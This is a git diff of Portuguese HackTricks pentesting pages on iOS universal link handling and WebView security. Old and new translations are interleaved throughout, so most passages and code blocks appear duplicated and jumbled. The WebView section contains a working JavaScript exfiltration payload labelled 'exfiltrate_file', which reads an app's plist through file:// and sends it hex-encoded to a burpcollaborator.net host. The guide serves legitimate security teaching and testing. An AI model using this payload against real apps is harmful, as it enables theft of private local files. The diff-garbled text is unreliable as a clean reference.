Quando o iOS abre um aplicativo como resultado de um link universal, o aplicativo recebe um objeto `NSUserActivity` com um valor de `activityType` de `NSUserActivityTypeBrowsingWeb`. A propriedade `webpageURL` do objeto de atividade contém o URL HTTP ou HTTPS que o usuário acessa. O seguinte exemplo em Swift verifica exatamente isso antes de abrir o URL:
|
||||
Quando o iOS abre um aplicativo como resultado de um link universal, o aplicativo recebe um objeto `NSUserActivity` com um valor `activityType` de `NSUserActivityTypeBrowsingWeb`. A propriedade `webpageURL` do objeto de atividade contém o URL HTTP ou HTTPS que o usuário acessa. O seguinte exemplo em Swift verifica exatamente isso antes de abrir o URL:
|
||||
```swift
|
||||
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||
// ...
|
||||
if userActivity.activityType == NSUserActivityTypeBrowsingWeb, let url = userActivity.webpageURL {
|
||||
application.open(url, options: [:], completionHandler: nil)
|
||||
}
|
||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||
// ...
|
||||
if userActivity.activityType == NSUserActivityTypeBrowsingWeb, let url = userActivity.webpageURL {
|
||||
application.open(url, options: [:], completionHandler: nil)
|
||||
}
|
||||
|
||||
return true
|
||||
return true
|
||||
}
|
||||
```
|
||||
Além disso, lembre-se de que se a URL incluir parâmetros, eles não devem ser confiáveis antes de serem cuidadosamente sanitizados e validados (mesmo quando provenientes de um domínio confiável). Por exemplo, eles podem ter sido falsificados por um atacante ou podem incluir dados malformados. Se esse for o caso, toda a URL e, portanto, a solicitação de link universal devem ser descartadas.
|
||||
Além disso, lembre-se de que se a URL incluir parâmetros, eles não devem ser confiáveis antes de serem cuidadosamente higienizados e validados (mesmo vindo de domínio confiável). Por exemplo, eles podem ter sido falsificados por um atacante ou podem incluir dados malformados. Se for esse o caso, toda a URL e, portanto, a solicitação de link universal deve ser descartada.
|
||||
|
||||
A API `NSURLComponents` pode ser usada para analisar e manipular os componentes da URL. Isso também pode fazer parte do método `application:continueUserActivity:restorationHandler:` em si ou pode ocorrer em um método separado chamado a partir dele. O seguinte [exemplo](https://developer.apple.com/documentation/uikit/core\_app/allowing\_apps\_and\_websites\_to\_link\_to\_your\_content/handling\_universal\_links#3001935) demonstra isso:
|
||||
A API `NSURLComponents` pode ser usada para analisar e manipular os componentes da URL. Isso também pode ser parte do método `application:continueUserActivity:restorationHandler:` em si ou pode ocorrer em um método separado sendo chamado a partir dele. O seguinte [exemplo](https://developer.apple.com/documentation/uikit/core\_app/allowing\_apps\_and\_websites\_to\_link\_to\_your\_content/handling\_universal\_links#3001935) demonstra isso:
|
||||
```swift
|
||||
func application(_ application: UIApplication,
|
||||
continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([Any]?) -> Void) -> Bool {
|
||||
guard userActivity.activityType == NSUserActivityTypeBrowsingWeb,
|
||||
let incomingURL = userActivity.webpageURL,
|
||||
let components = NSURLComponents(url: incomingURL, resolvingAgainstBaseURL: true),
|
||||
let path = components.path,
|
||||
let params = components.queryItems else {
|
||||
return false
|
||||
}
|
||||
continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([Any]?) -> Void) -> Bool {
|
||||
guard userActivity.activityType == NSUserActivityTypeBrowsingWeb,
|
||||
let incomingURL = userActivity.webpageURL,
|
||||
let components = NSURLComponents(url: incomingURL, resolvingAgainstBaseURL: true),
|
||||
let path = components.path,
|
||||
let params = components.queryItems else {
|
||||
return false
|
||||
}
|
||||
|
||||
if let albumName = params.first(where: { $0.name == "albumname" })?.value,
|
||||
let photoIndex = params.first(where: { $0.name == "index" })?.value {
|
||||
// Interact with album name and photo index
|
||||
if let albumName = params.first(where: { $0.name == "albumname" })?.value,
|
||||
let photoIndex = params.first(where: { $0.name == "index" })?.value {
|
||||
// Interact with album name and photo index
|
||||
|
||||
return true
|
||||
return true
|
||||
|
||||
} else {
|
||||
// Handle when album and/or album name or photo index missing
|
||||
} else {
|
||||
// Handle when album and/or album name or photo index missing
|
||||
|
||||
return false
|
||||
}
|
||||
return false
|
||||
}
|
||||
}
|
||||
```
|
||||
# Referências
|
||||
|
@ -106,16 +104,14 @@ func application(_ application: UIApplication,
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,45 +1,43 @@
|
|||
## WebViews iOS
|
||||
# iOS WebViews
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Tipos de WebViews
|
||||
|
||||
WebViews são componentes de navegador in-app para exibir **conteúdo web** interativo. Eles podem ser usados para incorporar conteúdo web diretamente na interface do usuário de um aplicativo. Os iOS WebViews **suportam** a execução de **JavaScript** **por padrão**, portanto, a injeção de script e os ataques de Cross-Site Scripting podem afetá-los.
|
||||
WebViews são componentes de navegador dentro de aplicativos para exibir **conteúdo web** interativo. Eles podem ser usados para incorporar conteúdo web diretamente na interface do usuário de um aplicativo. iOS WebViews **suportam** execução de **JavaScript** **por padrão**, então injeção de scripts e ataques de Cross-Site Scripting podem afetá-los.
|
||||
|
||||
* [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** O UIWebView está obsoleto a partir do iOS 12 e não deve ser usado. Não deve ser usado. **O JavaScript não pode ser desativado**.
|
||||
* [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** UIWebView está obsoleto a partir do iOS 12 e não deve ser usado. **JavaScript não pode ser desativado**.
|
||||
* [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): Esta é a escolha apropriada para estender a funcionalidade do aplicativo, controlando o conteúdo exibido.
|
||||
* **JavaScript** é habilitado por padrão, mas graças à propriedade **`javaScriptEnabled`** de `WKWebView`, ele **pode ser completamente desativado**, impedindo todas as falhas de injeção de script.
|
||||
* A propriedade **`JavaScriptCanOpenWindowsAutomatically`** pode ser usada para **impedir** que o JavaScript **abra novas janelas**, como pop-ups.
|
||||
* A propriedade **`hasOnlySecureContent`** pode ser usada para verificar se os recursos carregados pelo WebView são recuperados por meio de conexões criptografadas.
|
||||
* `WKWebView` implementa renderização fora do processo, portanto, **bugs de corrupção de memória não afetarão** o processo principal do aplicativo.
|
||||
* [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** Deve ser usado para fornecer uma experiência de visualização da web **generalizada**. Esses WebViews podem ser facilmente identificados, pois possuem um layout característico que inclui os seguintes elementos:
|
||||
* **JavaScript** está habilitado por padrão, mas graças à propriedade **`javaScriptEnabled`** do `WKWebView`, ele **pode ser completamente desativado**, prevenindo todos os defeitos de injeção de scripts.
|
||||
* A propriedade **`JavaScriptCanOpenWindowsAutomatically`** pode ser usada para **prevenir** que JavaScript **abra novas janelas**, como pop-ups.
|
||||
* A propriedade **`hasOnlySecureContent`** pode ser usada para verificar se os recursos carregados pelo WebView são obtidos através de conexões criptografadas.
|
||||
* `WKWebView` implementa renderização fora do processo, então **bugs de corrupção de memória não afetarão** o processo principal do aplicativo.
|
||||
* [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** Deve ser usado para fornecer uma **experiência de visualização web generalizada**. Esses WebViews podem ser facilmente identificados pois têm um layout característico que inclui os seguintes elementos:
|
||||
|
||||
* Um campo de endereço somente leitura com um indicador de segurança.
|
||||
* Um botão de ação ("**Compartilhar**").
|
||||
* Um botão **Concluído**, botões de navegação para trás e para frente e um botão "Safari" para abrir a página diretamente no Safari.
|
||||
* Um campo de endereço somente leitura com um indicador de segurança.
|
||||
* Um botão de Ação ("**Compartilhar**").
|
||||
* Um **botão Concluído**, botões de navegação para voltar e avançar, e um botão "Safari" para abrir a página diretamente no Safari.
|
||||
|
||||
<img src="https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media" alt="" data-size="original">
|
||||
<img src="https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media" alt="" data-size="original">
|
||||
|
||||
* **O JavaScript não pode ser desativado** em `SFSafariViewController` e esta é uma das razões pelas quais o uso de `WKWebView` é recomendado quando o objetivo é estender a interface do usuário do aplicativo.
|
||||
* `SFSafariViewController` também **compartilha cookies** e outros dados do site com o **Safari**.
|
||||
* A atividade e interação do usuário com um `SFSafariViewController` **não são visíveis para o aplicativo**, que não pode acessar dados de preenchimento automático, histórico de navegação ou dados do site.
|
||||
* De acordo com as Diretrizes de Revisão da App Store, os `SFSafariViewController`s **não podem ser ocultados ou obscurecidos por outras visualizações ou camadas**.
|
||||
* **JavaScript não pode ser desativado** no `SFSafariViewController` e esta é uma das razões pelas quais o uso de `WKWebView` é recomendado quando o objetivo é estender a interface do usuário do aplicativo.
|
||||
* `SFSafariViewController` também **compartilha cookies** e outros dados de sites com o **Safari**.
|
||||
* A atividade e interação do usuário com um `SFSafariViewController` **não são visíveis para o aplicativo**, que não pode acessar dados de AutoFill, histórico de navegação ou dados de sites.
|
||||
* De acordo com as Diretrizes de Revisão da App Store, `SFSafariViewController`s **não podem ser ocultados ou obscurecidos por outras visualizações ou camadas**.
|
||||
|
||||
## Descobrindo a Configuração dos WebViews
|
||||
## Descobrindo Configurações de WebViews
|
||||
|
||||
### Análise Estática
|
||||
|
||||
|
@ -51,20 +49,6 @@ $ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
|||
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
|
||||
```
|
||||
**WKWebView**
|
||||
|
||||
O `WKWebView` é um componente do iOS que permite exibir conteúdo da web em um aplicativo. Ele é mais seguro e eficiente do que o antigo `UIWebView`. No entanto, ainda é possível explorar vulnerabilidades em aplicativos que usam o `WKWebView`.
|
||||
|
||||
Algumas técnicas de teste de penetração que podem ser usadas em aplicativos que usam o `WKWebView` incluem:
|
||||
|
||||
- **Injeção de JavaScript**: é possível injetar código JavaScript malicioso em um aplicativo que usa o `WKWebView`. Isso pode ser usado para roubar informações do usuário ou executar ações maliciosas em nome do usuário.
|
||||
|
||||
- **Roubo de cookies**: os cookies armazenados pelo `WKWebView` podem ser acessados por um invasor. Isso pode permitir que o invasor assuma a identidade do usuário e acesse informações confidenciais.
|
||||
|
||||
- **Redirecionamento de URL**: um invasor pode redirecionar o usuário para um site malicioso usando o `WKWebView`. Isso pode ser usado para roubar informações do usuário ou instalar malware no dispositivo.
|
||||
|
||||
- **Vazamento de informações**: informações confidenciais podem ser vazadas por meio do `WKWebView`. Isso pode incluir informações de login, senhas e outras informações pessoais.
|
||||
|
||||
Para mitigar essas vulnerabilidades, os desenvolvedores devem implementar práticas de segurança recomendadas, como validar entradas de usuário, criptografar dados confidenciais e usar bibliotecas de terceiros confiáveis.
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||||
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
|
||||
|
@ -80,14 +64,14 @@ $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
|||
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
|
||||
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
|
||||
```
|
||||
#### Testando a Configuração do JavaScript
|
||||
#### Testando Configuração de JavaScript
|
||||
|
||||
Para `WKWebView`s, como uma melhor prática, o JavaScript deve ser desativado, a menos que seja explicitamente necessário. Para verificar se o JavaScript foi desativado corretamente, pesquise no projeto por usos de `WKPreferences` e verifique se a propriedade [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) está definida como `false`:
|
||||
Para `WKWebView`s, como uma melhor prática, JavaScript deve ser desativado a menos que seja explicitamente necessário. Para verificar se o JavaScript foi desativado corretamente, procure no projeto por usos de `WKPreferences` e garanta que a propriedade [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) esteja configurada como `false`:
|
||||
```
|
||||
let webPreferences = WKPreferences()
|
||||
webPreferences.javaScriptEnabled = false
|
||||
```
|
||||
Se você tiver apenas o binário compilado, pode procurar por isso nele:
|
||||
Se você tiver apenas o binário compilado, pode procurar isto nele:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||||
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
|
||||
|
@ -95,12 +79,12 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
|||
```
|
||||
#### Testando OnlySecureContent
|
||||
|
||||
Ao contrário dos `UIWebView`s, ao usar `WKWebView`s é possível detectar [conteúdo misto](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (conteúdo HTTP carregado de uma página HTTPS). Usando o método [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent), é possível verificar se todos os recursos na página foram carregados por meio de conexões criptografadas com segurança.\
|
||||
Em contraste com `UIWebView`s, ao usar `WKWebView`s é possível detectar [conteúdo misto](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (conteúdo HTTP carregado de uma página HTTPS). Utilizando o método [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent) pode-se verificar se todos os recursos na página foram carregados através de conexões seguras e criptografadas.\
|
||||
No binário compilado:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||||
```
|
||||
Também é possível pesquisar no código-fonte ou nas strings a string "http://". No entanto, isso não significa necessariamente que há um problema de conteúdo misto. Saiba mais sobre conteúdo misto na [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content).
|
||||
Você também pode procurar no código-fonte ou nas strings a string "http://". No entanto, isso não significa necessariamente que há um problema de conteúdo misto. Saiba mais sobre conteúdo misto nos [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content).
|
||||
|
||||
### Análise Dinâmica
|
||||
|
||||
|
@ -109,50 +93,48 @@ Também é possível pesquisar no código-fonte ou nas strings a string "http://
|
|||
{% code title="webviews_inspector.js" %}
|
||||
```javascript
|
||||
ObjC.choose(ObjC.classes['UIWebView'], {
|
||||
onMatch: function (ui) {
|
||||
console.log('onMatch: ', ui);
|
||||
console.log('URL: ', ui.request().toString());
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for UIWebView!');
|
||||
}
|
||||
onMatch: function (ui) {
|
||||
console.log('onMatch: ', ui);
|
||||
console.log('URL: ', ui.request().toString());
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for UIWebView!');
|
||||
}
|
||||
});
|
||||
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('URL: ', wk.URL().toString());
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for WKWebView!');
|
||||
}
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('URL: ', wk.URL().toString());
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for WKWebView!');
|
||||
}
|
||||
});
|
||||
|
||||
ObjC.choose(ObjC.classes['SFSafariViewController'], {
|
||||
onMatch: function (sf) {
|
||||
console.log('onMatch: ', sf);
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for SFSafariViewController!');
|
||||
}
|
||||
onMatch: function (sf) {
|
||||
console.log('onMatch: ', sf);
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for SFSafariViewController!');
|
||||
}
|
||||
});
|
||||
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
|
||||
}
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
|
||||
}
|
||||
});
|
||||
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||||
}
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||||
}
|
||||
});
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Carregue-o com:
|
||||
```bash
|
||||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||
|
@ -163,7 +145,7 @@ hasOnlySecureContent: false
|
|||
```
|
||||
## Manipulação de Protocolo WebView
|
||||
|
||||
Vários esquemas padrão estão disponíveis que estão sendo interpretados em um WebView no iOS, por exemplo:
|
||||
Vários esquemas padrão estão disponíveis e são interpretados em um WebView no iOS, por exemplo:
|
||||
|
||||
* http(s)://
|
||||
* file://
|
||||
|
@ -173,10 +155,10 @@ WebViews podem carregar conteúdo remoto de um endpoint, mas também podem carre
|
|||
|
||||
### Carregamento de conteúdo WebView
|
||||
|
||||
* **UIWebView**: Ele pode usar métodos obsoletos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) para carregar conteúdo.
|
||||
* **WKWebView**: Ele pode usar os métodos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) para carregar arquivos HTML locais e `loadRequest:` para conteúdo da web. Tipicamente, os arquivos locais são carregados em combinação com métodos incluindo, entre outros: [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) ou [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). Além disso, você também deve verificar se o aplicativo está usando o método [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Seu primeiro parâmetro é `URL` e contém a URL a ser carregada no WebView, seu segundo parâmetro `allowingReadAccessToURL` pode conter um único arquivo ou um diretório. Se contiver um único arquivo, esse arquivo estará disponível para o WebView. No entanto, se ele contiver um diretório, todos os arquivos nesse **diretório serão disponibilizados para o WebView**. Portanto, vale a pena inspecionar isso e, caso seja um diretório, verificar que nenhum dado sensível possa ser encontrado dentro dele.
|
||||
* **UIWebView**: Pode usar métodos obsoletos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) para carregar conteúdo.
|
||||
* **WKWebView**: Pode usar os métodos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) para carregar arquivos HTML locais e `loadRequest:` para conteúdo web. Tipicamente, os arquivos locais são carregados em combinação com métodos que incluem, entre outros: [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) ou [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). Além disso, você também deve verificar se o aplicativo está usando o método [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Seu primeiro parâmetro é `URL` e contém a URL a ser carregada no WebView, seu segundo parâmetro `allowingReadAccessToURL` pode conter um único arquivo ou um diretório. Se contiver um único arquivo, esse arquivo estará disponível para o WebView. No entanto, se contiver um diretório, todos os arquivos nesse **diretório estarão disponíveis para o WebView**. Portanto, vale a pena inspecionar isso e, caso seja um diretório, verificar que nenhum dado sensível possa ser encontrado dentro dele.
|
||||
|
||||
Se você tiver o código-fonte, pode procurar por esses métodos. Tendo o **binário compilado**, você também pode procurar por esses métodos:
|
||||
Se você tem o código-fonte, pode procurar por esses métodos. Tendo o **binário** **compilado**, você também pode procurar por esses métodos:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||||
|
@ -184,31 +166,31 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
|||
### Acesso a Arquivos
|
||||
|
||||
* **UIWebView:**
|
||||
* O esquema `file://` está sempre habilitado.
|
||||
* O acesso a arquivos a partir de URLs `file://` está sempre habilitado.
|
||||
* O acesso universal a partir de URLs `file://` está sempre habilitado.
|
||||
* Se você recuperar a origem efetiva de um `UIWebView` onde `baseURL` também é definido como `nil`, você verá que ela **não é definida como "null"**, em vez disso, você obterá algo semelhante ao seguinte: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d78`. Essa origem "applewebdata://" é semelhante à origem "file://" pois **não implementa a Política de Mesma Origem** e permite o acesso a arquivos locais e a qualquer recurso da web.
|
||||
* O esquema `file://` está sempre ativado.
|
||||
* O acesso a arquivos a partir de URLs `file://` está sempre ativado.
|
||||
* O acesso universal a partir de URLs `file://` está sempre ativado.
|
||||
* Se você recuperar a origem efetiva de um `UIWebView` onde `baseURL` também está definido como `nil`, você verá que **não está definido como "null"**, em vez disso, você obterá algo semelhante ao seguinte: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d780`. Esta origem "applewebdata://" é semelhante à origem "file://" pois **não implementa a Política de Mesma Origem** e permite acesso a arquivos locais e quaisquer recursos da web.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="exfiltrate_file" %}
|
||||
```javascript
|
||||
String.prototype.hexEncode = function(){
|
||||
var hex, i;
|
||||
var result = "";
|
||||
for (i=0; i<this.length; i++) {
|
||||
hex = this.charCodeAt(i).toString(16);
|
||||
result += ("000"+hex).slice(-4);
|
||||
}
|
||||
return result
|
||||
var hex, i;
|
||||
var result = "";
|
||||
for (i=0; i<this.length; i++) {
|
||||
hex = this.charCodeAt(i).toString(16);
|
||||
result += ("000"+hex).slice(-4);
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
var xhr2 = new XMLHttpRequest();
|
||||
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
||||
xhr2.send(null);
|
||||
}
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
var xhr2 = new XMLHttpRequest();
|
||||
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
||||
xhr2.send(null);
|
||||
}
|
||||
}
|
||||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||||
xhr.send(null);
|
||||
|
@ -217,26 +199,26 @@ xhr.send(null);
|
|||
{% endtabs %}
|
||||
|
||||
* **WKWebView**:
|
||||
